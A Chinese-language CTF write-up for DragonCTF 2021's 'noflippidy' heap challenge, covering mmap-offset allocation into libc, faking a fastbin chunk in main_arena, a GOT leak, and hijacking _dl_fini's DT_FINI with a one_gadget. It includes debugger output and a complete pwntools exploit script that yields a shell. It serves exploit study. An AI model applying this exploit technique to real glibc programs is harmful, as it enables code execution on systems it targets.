来自Drangonctf2021的noflippidy,patch了之前的flippidy中的flip函数,但还是可以攻击
no-flippidy 程序分析 首先发现是libc_2.27_2.4的libc,这样tcache double free就没有了,因此之前flippidy的洞也就不能用了。然后到这里,我也就没什么思路了。
参考了superguesser的wp,学到了新的方法。链接https://kileak.github.io/ctf/2021/dragoncf21-noflippidy/
知识点 heap的mmap 我们只能做极少的事情,在这里只能add堆块,算是很严苛了。superGuesser给出了一个新的glibc特性:当分配一个很大的堆块时,会直接mmap一块虚拟地址空间出来,而这一块和libc有固定偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x3fe000 0x400000 rw-p 2000 0 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x400000 0x401000 r--p 1000 2000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x401000 0x402000 r-xp 1000 3000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x402000 0x403000 r--p 1000 4000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x403000 0x404000 r--p 1000 4000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x404000 0x405000 rw-p 1000 5000 /home/nicholas/Desktop/pwn/dragon/no_flippy/no_flippidy 0x13ed000 0x140e000 rw-p 21000 0 [heap] 0x7efe4ff80000 0x7efe50181000 rw-p 201000 0 anon_7efe4ff80 <==== our mmaped heap 0x7efe50181000 0x7efe50368000 r-xp 1e7000 0 /home/nicholas/glibc-all-in-one/libs/libc6_2.27-3ubuntu1.4_amd64/libc.so.6
接下来我们分配notes,其实就是在libc中做修改。我们只要尝试分配到free_hook就可以了。
dl_fini利用 这个是以前听说过的一种利用,最早在pwnable上面看到过。现在难得见到了可以学习的题目。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void_dl_fini (void ) { ... _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE), NULL , true ); ... for (i = 0 ; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { l->l_init_called = 0 ; if (l->l_info[DT_FINI_ARRAY] != NULL || l->l_info[DT_FINI] != NULL ) { if (l->l_info[DT_FINI_ARRAY] != NULL ) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0 ) ((fini_t ) array [i]) (); } if (l->l_info[DT_FINI] != NULL ) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); } ... }
一般是两种利用方法
改写(fini_t) array[i]
,这样后面就会调用这个函数
改写DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr)
往里面存地址,这样也会调用函数
可以这道题没有给出使用fini的做法。
编写exp 1 2 3 4 pwndbg> p &__free_hook $ 1 = (void (**)(void *, const void *)) 0x7f49a29db8e8 <__free_hook> pwndbg> p 0x7f49a29db8e8-0x7f49a23ed000 $ 2 = 6220008
之后计算(6220008/0x40)得到我们想要覆盖到free_hook的偏移。但是事先要泄露一个堆地址或者libc地址。superguesser尝试了这么做,但是发现能够泄露,泄露之后无法再次调用。
这里采用了一种伪造堆块的方法。如下图
1 2 3 4 payload = p64(0x0 ) + p64(0x41 ) payload += p64(0x404000 ) <= points above menu_ptrs add((0x5ecc60 -0x10 )/8 , payload) <= offset to 0x40 fastbin main_arena
1 2 3 4 5 pwndbg> x/20gx 0x7f49a29d9c60-0x20 0x7f49a29d9c40 <main_arena>: 0x0000000000000000 0x0000000000000000 0x7f49a29d9c50 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f49a29d9c60 <main_arena+32>: 0x0000000000000000 0x0000000000000000 <=== 这里是0x40,0x50的fastbin头位置 0x7f49a29d9c70 <main_arena+48>: 0x0000000000000000 0x0000000000000000
这里尝试在main arena中0x40的位置伪造一个堆块,这样下次取出0x40堆块时,就可以实现一次任意地址写。这样,我们就可以和flippidy一样,写menu,然后打印出一个libc地址!
接下来,就是写malloc_hook或者dl_fini都可以了。这里练习用dl_fini
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *io = process('./no_flippidy' ) context.log_level='debug' elf=ELF('./no_flippidy' ) libc = ELF('./libc.so.6' ) context.terminal = ['tmux' ,'split' ,'-hp' ,'60' ] def add (index,content ): io.recvuntil(':' ) io.sendline(str (1 )) io.sendlineafter('Index: ' ,str (index)) io.sendlineafter('Content: ' ,content) def flip (): io.recvuntil(':' ) io.sendline(str (2 )) def exit (): io.recvuntil(':' ) io.sendline(str (3 )) def debug_add (): gdb.attach(io,"b *0x4012D0" ) add(0 ,'aa' ) def debug_menu (): gdb.attach(io,"b *0x401729" ) io.recvuntil('will be:' ) io.sendline(str (0x300200020 /8 )) payload = p64(0 ) + p64(0x41 ) + p64(0x404000 ) +p64(0 )*3 add(0x5ecc50 /8 ,payload) add(0 ,p64(0 )) add(1 ,p64(0 )*2 +p64(elf.got['puts' ])) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_addr = puts_addr - libc.symbols['puts' ] success("libc_addr: " + hex (libc_addr)) og = [0x4f3d5 ,0x4f432 ,0x10a41c ] my_og = libc_addr + og[1 ] success("og: " + hex (my_og)) payload2 = b"A" *8 payload2 += p64(my_og) add((0x81c000 + 0x1208 ) / 8 ,payload2) exit() io.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 solve.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes io.sendline(str(3)) [DEBUG] Sent 0x2 bytes: b'3\n' [*] Switching to interactive mode [DEBUG] Received 0x9 bytes: b'Goodbye!\n' Goodbye! $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x20 bytes: b'libc.so.6 no_flippidy\tsolve.py\n' libc.so.6 no_flippidy solve.py $
遇到的一个特殊点 这里一开始没注意到一个小问题: 我们伪造的是fastbin chunk,但是他会检查size ,我们没有伪造size,为什么能过?这是因为有tcache stashing unlink 机制:在tcache为空的时候,如果这个tcache的槽大小对应的fastbin中有多余的块,会把fastbin中的块全部拿到tcache中(直到填满)因此很巧妙的避开了检查。
疑惑 该怎么寻找dl_fini地址呢?
总结 学到了新的glibc利用:当可控chunk大小时,分配如上较大快,可以直接相当于劫持glibc和dl。其中dl还可以采用上面的劫持dl_fini的方法一键getshell。注意这里因为分配的时每一个堆块的储存地址的地方,所以还不能直接写exithook和mallochook等,要找到储存exithook和mallochook的地址才行。因此这里采用的是劫持dl_fini中的l->l_info[DT_FINI]。